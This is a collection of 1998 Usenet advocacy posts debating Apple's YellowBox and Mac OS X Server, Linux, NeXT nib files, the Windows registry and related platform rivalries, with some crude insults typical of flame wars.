References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> <75coq3$hfr@news1.panix.com> <FIiROLCWddLd-pn2-tiJticsGbUP7@localhost>
On 18 Dec 98 18:03:35 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
<<clip>>
>His idea of hiring a couple of extra pairs of hands
>and eyeballs to work on the new port sounds okay to me, considering
>that Apple isn't in a cash crunch (on the contrary) and keeping the
>Linux option viable if/when need arises may be relatively important.
Hiring new people isn't going to make a YB for Linux a viable short
term goal unless those new people are skilled hostage negotiators
that can talk Adobe into liberating DPS...
>But current priorities may not apply after the urgent projects have
>been completed in '99. Jump 5 years into the hazy distant future, and
>Marc Andreessen believes that the Unix camp will have consolidated
>squarely behind Linux. It's a scenario worth paying some attention to.
And perhaps in 5 years PC's and operating systems will become largely
irrelevant and most people will just use ubiquitous information appliances.
As it stands now, I can do a lot of things via web browser that I used
to need a "pc" for. (Like e-mail, research, manage my stocks etc)
I'm leaning toward a "browser in a box" view of the future.
<<clip>>
>> I wonder how many YB developers would port to GNUStep once it were
>> mature enough to port to.
>And how attractive it would be in promoting new development.
Sure.
>Any Linux
>initiatives, OTOH, could well have to wait until some 90-day surprise
>slot or the WWDC.
If Apple has any plans to do YB on anything other than the systems they
have mentioned so far, I would think that the announcement would come
_after_ OSX ships.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 19 Dec 1998 18:30:17 GMT
Organization: Primenet (602)416-7000
Message-ID: <75grbp$sa0$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se>
<joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote:
: Someone has mentioned fat (multi-architecture)
: binaries, but that could be trivially added to something like ELF in
: the same way as NeXT added it to Mach-O. [Specifically, the hard part
: is converting everyone to the new kernels that can execute the new
: format - it's not making a format that does the job.]
I'd rather have this handled at the package-management level. The
distribution package should contain all binaries ... but the live
installation should contain only what you need.
Actually the package at a server site should contain all binaries, but
what gets downloaded to your machine should contain only what you need.
If you are going to design a solution in the late '90s you should solve
the problems of the late '90s (including internet distribution) and not
just the problems of the '80s (including support for multiple processors).
John
From: 1050pi@netscape.net (Nelson Gerhardt)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Apple-M$: Linux Nightmare?
Date: Sat, 19 Dec 1998 18:45:19 GMT
Organization: Airnews.net! at Internet America
Message-ID: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Sat Dec 19 12:34:04 1998
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There has been much talk about the need for M$ to provide Linux with a
ported version of Office so business users would be more open to it.
Well, what I'm afraid of is this--Apple will make OSX THE GUI that
most non-techies use for Linux. Then M$ makes an Office for OSX...
Of course, eventually a nonApple/M$ Axis GUI would become popular, but
while that happened M$ would have a huge amount of control over Linux
through Apple (for the average end-user)
-l
---
ICQ#: 9393354 * "UN-altered REPRODUCTION and DISSEMINATION of this
IMPORTANT information is ENCOURAGED" -- REMcE
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 19 Dec 1998 18:34:37 GMT
Organization: Semplice Software
Message-ID: <hugh-1912981234130001@189.minneapolis-02.mn.dial-access.att.net>
References: <ct8ww3p6xh1.fsf@alycia.dementia.org> <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net> <367ba39b.0@stan.astra.co.uk>
In article <367ba39b.0@stan.astra.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net> Hugh
> Johnson wrote:
>
> > Do nibs have a uniform file format? I thought they were just blocks of
> > whatever-you-want, like resources in a Mac resource fork.
> >
> Nibs do have a uniform file format, in that they represent serialised
> archived objects, and the connections between them. The only problem is that
> NeXT/Apple haven't told us what the format is.
>
> > What, then if
> > they adhere to a format, then you need a special editor for them, like
> > ResEdit? What's the advantage of that?
> >
> The "special editor" is InterfaceBuilder, which allows you to graphically lay
> out the interface and set the connections between components. It's not like
> you're presented with text and you have to type in stuff. And I reiterate
> the above implication, nibs do *not* represent code, they represent
> "freeze-dried objects".
>
> mmalc.
This sounds like what's called "persistent" objects? Then the connections
you're talking about would be pointers to other objects, which or course
need to be re-initialize at every runtime?
Okay, fine, that definitely requires uniform protocols to do that, highly
dependent on the OS for allocating object memory. But can't nibs also
contain dumb little things like pictures and sounds and so forth? I mean,
it was my understanding that that's where you threw all your resources,
just toss them in with the other nibs, or would they also need to be
wrapped in persistent container objects?
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: wizard@mousam-river.com (John T Maguire)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Sat, 19 Dec 1998 18:28:10 GMT
Organization: Mousam River Software
Message-ID: <367ce5a2.19125694@news.int-usa.net>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <366bcc63.62862541@news.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Sat, 19 Dec 1998 15:25:07 GMT, Psylocke@xavier.com wrote:
>>> I'm not really up on Linux, but I've heard Red Hat is much easier
>>> than previous flavors of Linux to install.
>>
>>
>
>
>Redhat 5.1/5.2 comes with a very good installer. Any Amiga user is
>more skilled than the average Wintel zombie, and would certainly have
>no trouble installing or setting up Linux, contrary to remarks from
>jackasses like David Corn.
>
>You can be running in around 15-20 minutes. In fact, Redhat does a far
>better job of detecting devices/peripherals than Windoze does.
Unless you are running something than a 66 FSB
Back to the drawing board
John T Maguire
Mousam River Software, Mousam River BBS - Home of Mutley's Page!
http://www.mousam-river.com
Visiting Maine? Drop by http://www.kportmaine.com
From: joecosby@qafryt.seatac.net (Joe Cosby)
Subject: Re: Linux preinstalled laptops?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk> <755do4$8br$22@infa.central.susx.ac.uk> <3686298f.25205261@nntp.ix.netcom.com>
Message-ID: <kHSe2.5028$2h4.7490@news7.ispnews.com>
NNTP-Posting-Date: Sat, 19 Dec 1998 13:58:24 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 19 Dec 1998 18:58:24 GMT
** To reply in e-mail, remove "qafryt." from address **
ALSO SPRACH John Sheehy:
> kcci1@central.susx.ac.uk (Alan L.M. Buxey) wrote:
>
> >On Fri, 11 Dec 1998 16:05:32 +0000 ,Stuart Brady posted the following:
>
> >: You can't 'upgrade' to Windows 98, because it's setup program doesn't
> >: work properly, (well, that was the last I heard, and it doesn't seem
> >: that Microsoft have done anything about it,) so simply don't bother.
> >: Windows 98 is buggy, anyway. (Linux just has undocumented features.)
>
> >I managed to upgrade the PC's here at work from 95 to 98 by using the
> >upgrade option..it does work
>
> You don't get a full, pure Win98 if you do that, though. It works a lot
> better if you install over an empty Windows directory. I had a few
> problems (none fatal, though) with Win98 until I installed fresh.
> --
>
Hmm...what were you saying before when you couldn't find 'Installer' on
your Amiga?
Something about installs on the Amiga being a 'nightmarish labor of love'?
And 'you guys have forgotten all the workarounds you had to do'?
Or does that count as a cheap shot. :^)
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: joecosby@hivnaf.seatac.net (Joe Cosby)
Subject: Re: M$: Really the Best Talent?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com>
Message-ID: <i1Te2.5038$2h4.7721@news7.ispnews.com>
NNTP-Posting-Date: Sat, 19 Dec 1998 14:21:50 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 19 Dec 1998 19:21:50 GMT
** To reply in e-mail, remove "hivnaf." from address **
ALSO SPRACH Willy:
> On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
> jedi@dementia.mishnet () wrote:
>
> > It's too easy to corrupt, it's not easy enough to
> > restore & too few tools are available to make up
> > for any of it's shortcomings.
>
> I hosed my registry good (doing something I shouldn't have been doing)
> When Win95 rebooted, it told me there was a problem with the registry
> and that it will restore the last known good registry. It rebooted
> and Win95 came up looking exactly as it did before and all my
> applications worked.
>
> So what's so hard about restoring the registry?
I had a huge crash while running Word95. When the computer rebooted,
I could run Word, but it was 'invisible'. No window displayed. The
keyboard shortcuts worked, I could, for example, call up a file
requester using keyboard shortcuts and it would appear, but the
document window didn't.
I uninstalled and reinstalled, but nothing changed.
This boggled my mind. Assuming something was corrupted during the
crash, I couldn't see how removing the corrupted file by uninstalling
then replacing it by reinstalling would fail to fix the problem.
I called a number of independant computer service places, and they
all told me that it sounded like a problem with the registry.
Eventually, I installed Word97, which now works.
Maybe the service places I called were all wrong about the problem
being the registry, but three people I talked to at seperate places
said the same thing, so it sounded convincing.
Anyway, assuming the problem -was- the registry, Win95 didn't
tell me there was a problem with it or restore the last known good
one.
Thanks to those who suggested backing up the registry, I'll look in
the Windoze help and see if I can figure out how to do so.
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 19 Dec 1998 19:48:44 -0000
Message-ID: <MPG.10e60bcd98572a26989749@news.dircon.co.uk>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet>
In article <slrn77b627.cq2.jedi@dementia.mishnet>, jedi@dementia.mishnet
wrote...
[Registry API]
> This tends to support my assertion that the Windows registry
> is the MacOS (non-premptive multtasking, 'kinda' protected
> memory) analog sort of toy database...
This tends to support my assertion that you are not a very good
analogist.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 19 Dec 1998 19:48:36 -0000
Message-ID: <MPG.10e60701fb586232989747@news.dircon.co.uk>
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk>
In article <913764365snz@vision25.demon.co.uk>, Phil Hunt wrote...
>In article <367522b5.2689507@news2.asan.com>
> willy1@rocketmail.com "Willy" writes:
>> But some are. Every MS app that supports VBA has a powerful
>> programming language to do whatever you want.
>
>Really? I have a 6-line Unix shell program that reads in an ascii file,
>expands tabs to spaces, adds line numbers, splits long lines every 100
>characters, formats the result in Postscript with a banner giving the
>filename and date printed at the top of every page, and prints it out.
>
>I'd be very grateful if you (or someone) could write this in VBA for
>me. If, as you say, VBA is "powerful" and lets you do "whatever you
>want", the exercise should be a doddle.
Ok, but only if you post a shell script that will add a customised GUI
to your email client. (You can use more than six lines.)
Or, if you can't do that, how about starting your spreadsheet app,
performing some calculations on a CSV data file, creating a 3D chart and
placing it with some of the data into a newly opened word processor
report template. Then send it to your boss via email in HTML format. For
maximum ease of use (or for the office fuckwit), this should be started
by one mouse click on your email clients' toolbar.
Hmmm, the smell of apples and oranges.
From: jcmurphy@dircon.co.uk (John Murphy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 19 Dec 1998 19:48:33 -0000
Message-ID: <MPG.10e5f1d2f41321a4989746@news.dircon.co.uk>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net> <36753C12.ACDBCAD4@cadence.com> <913764513snz@vision25.demon.co.uk>
In article <913764513snz@vision25.demon.co.uk>, Phil Hunt wrote...
>It's the sort of feature that is a good thing if you want an OS that's
>dumbed down for fuckwits.
>
>I don't, so I use Linux.
*LOL*
"I use Linux. Therefore, I can't be a fuckwit."
From: "Vincent Kohli" <cyberbox@mlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Steve Jobs:Potential Time Man of the year
Date: Tue, 15 Dec 1998 00:24:33 -0500
Organization: cyberbox webmasters
Message-ID: <754r91$1b4$1@neon.Mlink.NET>
References: <74vqg3$j6o$1@neon.Mlink.NET>
<19981213094118.15584.00002565@ng-fi1.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
TIME "The Man of the Year" issues are a sell out.
We're talking millions subscribers worldwide here.
Great publicity stunt. Beside, every year, they mention the covers of the
precedent years.
So it's kind of a BIG three years AD for JOBS and Apple in the public eye.
In a Business point of view, it would be good for Apple computers. Good
interpretation or Bad. But maybe it's not as true for the Stocks. Anyway.
But still, look at the accomplishments:
Apple and the home computer revolution
the Mac
NeXT
OpenStep
WebObjects
Pixar
The iMAC and the return of Apple
He earned it.
Mick Foley and Matthew Shepard are in Top!? come on!!.
Vincent Kohli
----------
>From: willadams@aol.com (WillAdams)>Newsgroups: comp.sys.next.advocacy
>Subject: Re: Steve Jobs:Potential Time Man of the year
>Date: Sun, Dec 13, 1998, 9:41 AM
>
>But would Jobs want to be mentioned in a Man of the Year article again?
>
>He's always complained bitterly of the interpretation of his interview which
>was featured in the 1982? Computer as Man of the Year article.
>
>William
>
>
>William Adams
>http://members.aol.com/willadams
>Sphinx of black quartz, judge my vow.
>
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 19 Dec 1998 21:14:28 GMT
Organization: ICGNetcom
Message-ID: <36871693.15152865@nntp.ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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joecosby@hivnaf.seatac.net (Joe Cosby) wrote:
>Thanks to those who suggested backing up the registry, I'll look in
>the Windoze help and see if I can figure out how to do so.
Win98 keeps the last 5 registries. In Win95, I made an icon on the
desktop for a batchfile that copied the registry files to a special
directory on each of my three physical HDs, which I executed a couple of
times a week. Fortunately, I never needed them.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: sean@forget.about.it (Seán Ó Donnchadha)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 16:24:16 GMT
Organization: http://extra.newsguy.com
Message-ID: <367e75d0.935483203@enews.newsguy.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <19981217204122138438@ts2-04.aug.com> <75cs84$6of$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Fri, 18 Dec 1998 06:20:54 GMT, Michael.Peck@ericsson.com wrote:
>>
>> Everyone hates the guy that steals his way to the top.
>
>"People are going to think you're sleeping your way to the top."
>
>"Okay. Just as long as they don't think I'm sleeping my way to the *middle*."
>
>(_Fierce Creatures_)
>
"You're just sleeping your way to the top, aren't you?"
"Well, I wouldn't be a very good executive if I slept my way to the
*bottom*, would I?"
(_Head_Office_)
From: somebody <someone@lmco.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: ms playground talk
Date: Mon, 21 Dec 1998 10:52:28 -0700
Organization: martin
Message-ID: <367E8ADC.449522C3@lmco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
noone likes a copy-cat, liar or a bully
bill can kiss my ass
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 21 Dec 1998 18:55:59 +0100
Organization: The Computer Society at Lund
Message-ID: <75m23f$3s4$1@bartlet.df.lth.se>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <75dg7g$5nv$1@bartlet.df.lth.se> <SCOTT.98Dec20003313@slave.doubleu.com>
NNTP-Posting-User: cb
In article <SCOTT.98Dec20003313@slave.doubleu.com>,
Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <75dg7g$5nv$1@bartlet.df.lth.se>,
> cb@bartlet.df.lth.se (Christian Brunschen) writes:
> But we must not forget, that Unix is not the pinnacle of OS design;
> new developments will happen.
>
>If there's one thing NeXT showed, it was that this is (for the most
>part) a moot point. The important part is in the libraries running on
>top of the OS, so long as the OS is fully capable of handling your
>needs. Taligent demonstrated that pushing the abstractions people
>want at the high layers to the lowest layers might be an interesting
>idea - but isn't necessary in practice, nor even particularily useful.
True, of course - I just wanted to inject that the current Unix
underpinnings of Max OS X (Server) are not really something we should
stare ourselves blind at.
>It would be _nice_ to have full OOP from the microkernel all the way
>up. But it is possibly more work than it's worth.
>
> Apple's suggesting a common binary format for Unices (if this is
> indeed happening) strikes me as a good move, because if it goes
> through, then we have what I beleive to be a win-win situation for
> all involved, because:
>
> * Cross-platform development and deployment is made a lot easier
> across the conforming Unices
>
>This is already the case across most non-NeXT non-Apple platforms.
>And it's awfully easy to port things to NeXTSTEP (less so for
>OpenStep, and even less so for RDR).
This is mostly the case for cross-platform development, and for
cross-platform deployment of _source code_. A common binary format would
widen the scope of this to make cross-platform deployment of _binaries_
much more viable. Yes, I know that there is already a large degree of this
within ELF, for instance; but that does not, AFAIK, include
multi-architecture support.
By the way, I am assuming among other things that Apple are suggesting a
new binary format not because of 'NIH syndrome', but because the current
offerings lack functionality which Apple want/need, and which are thus
included in Apple's proposal. Further, I am assuming that Apple are doing
this largely in order to make possible to spread Apple's Unix-based
technologies (those that rest on top of the core OS) onto other Unix
platforms as well - including the spreading, deployment, of the YellowBox
runtime system and perhaps even YellowBox development tools.
> * the GNU compiler / assembler / linker tools can be made to create
> one binary that will work across all conforming Unices
>
>Already the case to a great degree for Linux/*BSD/SCO and other
>Unix'es.
Yes.
> * thus, Apple can now just push a button and compile YellowBox
> (the frameworks, the tools, the whole shebang) for _all_
> conforming Unices
>
>"Common binary format" != "YellowBox port".
I did not make this clear, perhaps, in my previous port, but I am acting
on the assumption that Apple have a reason for wanting functionality in
the 'standard' Unix binary format which is not currently there; and that
they want this for a reason; and that this reason is to further deployment
of Apple technologies on Unix platforms. One such technology would likely
be the YellowBox runtime. (And perhaps the development system as well.)
> * this will give YellowBox itself a bigger basis for deployment.
>
>Mooted by the previous point.
Not necessarily :)
> * assuming that Apple will be smart and a) ship the runtime for free, and
> b) sell the development tools for every platform where the runtime
> works: Apple will sell the development tools to developers who are on
> compliant Unices, but who might not otherwise buy any Apple products.
> This generates money for Apple
>
>Great for Apple - how does it convince the other platforms to conform
>to their format?
This doesn't - this is just to show how reasoning might go within Apple in
order to do this. I am trying here to describe different ways in which
different people / actors in the marketplace would gain from something
like this. The above point describes how Apple would gain from it.
> * the broadened deployment base will attract more developers to using
> YellowBox; thus more developers will want to buy the premier development
> system for YellowBox applications - that means even more money for Apple
>
>Again, how does this convince the other vendors to conform?
And again, this point does not purport to deal with anyone other than
Apple, or their situation or possible gains.
> * Through this, _all_ the conforming Unices will get access to a host of
> hight-class applications, which should attract _users_ to the Unix
> market as a whole. Thus everyone within this market gets more space to
> move (and compete) within- more money for the whole market.
>
>Chicken and egg problem.
To an extent. However, YellowBox is going to be available on two major
platforms (Macintosh and Windows) regardless of the decision about the
common Unix binary file format. So it's really more of a case of getting
on a bandwagon which is already rolling, and in that process making that
bandwagon roll better.
> Basically, I think Apple is doing this for reasons of their own
> bottom line - but the idea is a good one for all involved, should
> it come to pass. And, for the reasons I have sketched at above, I
> hope it will.
>
>All I'm saying is that there are _existing_ standards for
>cross-platform Unix binary compatibility, at least in the x86 world.
Yes, there are. However, (and I am still assuming here that there is an
actual technican need that Apple's proposed binary format fills that is
not filled by the current offerings), this is not necessarily sufficient
for what someone (in this case Apple) might want to do.
>Since most of the supposed benefit seems to acrue to Apple and Apple's
>hangers-on (like myself) - why not have Apple play in the existing
>ballpark, rather than propose that everyone come play in the new
>ballpark they are going to build?
Apple is playing in the same ballpark; They are just offering everyone a
better set of sneakers and a new ball.
>_Microsoft_ is the company that says "We've invented a tool that gives
>you all the benefits of <insert standard opensource tool here>. Come
>to Windows."
Apple don't seem to be steamrollering anyone here; they are allegedly
proposing a new binary format that they want to be standard across Unices.
I _strongly suspect_ that this new binary format offers a technical
advantage over the ones currently in use. Further, Apple are going through
the proper standards channels.
In fact, the scenario above would be more accurate an analogy if Apple had
just decided to go with the new format, and tell people 'here, this format
offers these advantages over the others out there. Come to Apple.'
Instead, they are basically trying to level the playing field. I am not
ascribing altruistig motives to Apple, but I do think that while Apple are
doing this to further their own bottom line, it is also something that may
well further other people's bottom lines as well.
>Apple can choose to fight fire with fire, but that
>doesn't make them noble in doing so.
Again, I never said Apple were noble; I am saying that in my view (which
is a view that only includes some few facts, those which have been posted
here), Apple's more makes sense for Apple, and I also think it makes sense
for others, so it might be a good move in total as well. Further, I
disagree with your 'fighting fire with fire' assessment. I see things in a
less sinister sense.
One final thing to ponder: Any suggestion for something Unix:y is likely
to come from Apple engineering somwhere in the vicinity of Avie Tevanian.
For that simple reason, there's a pretty good chance that it's technically
well-founded, and might for that technical reason alone be a good thing,
regardless of wether it helps Apple or anyone else. :)
>
>Later,
Best regards,
>--
>scott hess
// Christian Brunschen
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sat, 19 Dec 1998 16:45:15 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net>
>There has been much talk about the need for M$ to provide Linux with a
>ported version of Office so business users would be more open to it.
>
>Well, what I'm afraid of is this--Apple will make OSX THE GUI that
>most non-techies use for Linux. Then M$ makes an Office for OSX...
>
>Of course, eventually a nonApple/M$ Axis GUI would become popular, but
>while that happened M$ would have a huge amount of control over Linux
>through Apple (for the average end-user)
>
This has to be the dumbest thing I've ever heard.
BTW, when did Apple ever say they were going to make a GUI for Linux?
--
Best Regards,
CaHand
From: Sam Lee <smlee4@netscape.net>
Newsgroups: comp.sys.next.advocacy
Subject: openstep on non-intel hardware
Date: Sat, 19 Dec 1998 17:26:01 -0800
Organization: Vivid Internet Productions
Message-ID: <367C5229.9F98E8BD@netscape.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 20 Dec 1998 01:25:55 GMT
sorry about the stupid question, i'm new to NeXT
would openstep 4.2 (or linux) work on a pc without an intel processor?
i only ask because i found a good deal on an amd k6 notebook and was
wondering how possible it was to run openstep or linux.
thanks
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: openstep on non-intel hardware
Date: 21 Dec 98 17:22:58 GMT
Organization: P & L Systems
Message-ID: <367e83f2.0@stan.astra.co.uk>
References: <367C5229.9F98E8BD@netscape.net> <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net>
<367d22d9.0@stan.astra.co.uk> <75lppg$5rl$1@unlnews.unl.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: smlee4@netscape.net
In <75lppg$5rl$1@unlnews.unl.edu> "Rex Dieter" wrote:
> I have NEVER heard of ANY problems with AMD CPUs. As a matter of fact,
I've
> been personally using a miriad of AMD chips, K5's, K6's, K6-2-3DNow!'s for
a
> couple of years.
>
> The threading problem was with early (and current?) generations of Cyrix
> chips.
>
Urgh. Yes, you're absolutely right. Mea culpa. I'm not sure why I
susbstituted AMD for Cyrix, but yesterday was an odd day. The other points
about availability etc stand.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 21 Dec 98 17:32:36 GMT
Organization: P & L Systems
Message-ID: <367e8634.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
<adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost>
<75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
<757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>
<75coq3$hfr@news1.panix.com> <FIiROLCWddLd-pn2-tiJticsGbUP7@localhost>
<75gipa$llq@news1.panix.com> <FIiROLCWddLd-pn2-OdsbnNVTd0Mz@localhost>
<367d6aff.0@stan.astra.co.uk> <slrn77r0sd.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: NOSPAMmbkennelNOSPAM@yahoo.com
In <slrn77r0sd.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel wrote:
> On 20 Dec 98 21:24:15 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> :99.99% accurate voice recognition doesn't need improved processors, it
needs
> :fundamental advances in our understanding of how the human auditory system
> :works; this is likely to include first a model of how we do "auditory
scene
> :analysis", followed by an understanding of how speech is processed.
There's
> :a chance that using good microphones in quiet environments with
well-trained
> :systems that you'll approach 99.99%, but likely not for the general case.
>
